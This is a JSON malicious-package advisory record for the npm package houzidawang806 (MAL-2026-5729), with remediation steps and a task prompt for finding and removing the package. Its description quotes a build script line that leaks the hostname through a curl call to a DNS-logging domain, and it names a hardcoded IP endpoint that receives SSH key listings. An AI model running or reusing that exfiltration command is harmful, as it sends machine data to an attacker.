{"answers":{"affected":"1 open source package ship an affected version, including houzidawang806.","exploited":"There is no known exploitation of MAL-2026-5729 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-5729 is a malicious package in houzidawang806, published on 13 Jun 2026."},"fix_prompt":"MAL-2026-5729 is a malicious package: houzidawang806 (npm). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-5729/ (Markdown: https://insights.sbomify.com/MAL-2026-5729/index.md)","id":"MAL-2026-5729","markdown":"https://insights.sbomify.com/MAL-2026-5729/index.md","name":"MAL-2026-5729","record":{"aliases":["GHSA-7gf8-h22p-4qr4"],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"Package self-describes as 'A simple date formatting utility' but ships two distinct attacker primitives. (1) postinstall.js enumerates ~/.ssh/ for *.pub files and POSTs the listing along with os.userInfo().username and platform to the hardcoded bare-IP endpoint https://124.221.154.135:443/post. The file's comments explicitly label sections as targets and C2 server in Chinese ('窃取目标', 'C2 服务器', '模拟外传数据到攻击者服务器 (C2)'). The script is shipped in the tarball but not wired into package.json lifecycle hooks, so it does not auto-execute on `npm install`; however, any tooling or developer that runs the shipped postinstall.js will exfiltrate SSH key listings to the attacker. (2) package.json scripts.build runs `curl http://$(hostname).ba6511da.log.dnslog.pp.ua`, embedding the installer's hostname as a subdomain of a public DNS-logging service used for out-of-band exfiltration. Running `npm run build` leaks the machine hostname to the attacker via DNS. The doc/behavior mismatch (a date-formatting library has no need for SSH directory enumeration, hostname recon, or hardcoded IP callbacks) plus the explicit C2-labeled comments make malicious intent unambiguous.\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n\nThe OpenSSF Package Analysis project identified 'houzidawang806' @ 1.0.1 (npm) as malicious.\n\nIt is considered malicious because:\n\n- The package executes one or more commands associated with malicious behavior.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in houzidawang806 (npm)","id":"MAL-2026-5729","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":["0"],"last_affected":[],"package":"houzidawang806","purl":"pkg:npm/houzidawang806","source":"MAL-2026-5729"}],"products":null,"published":"2026-06-13","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-5729/"}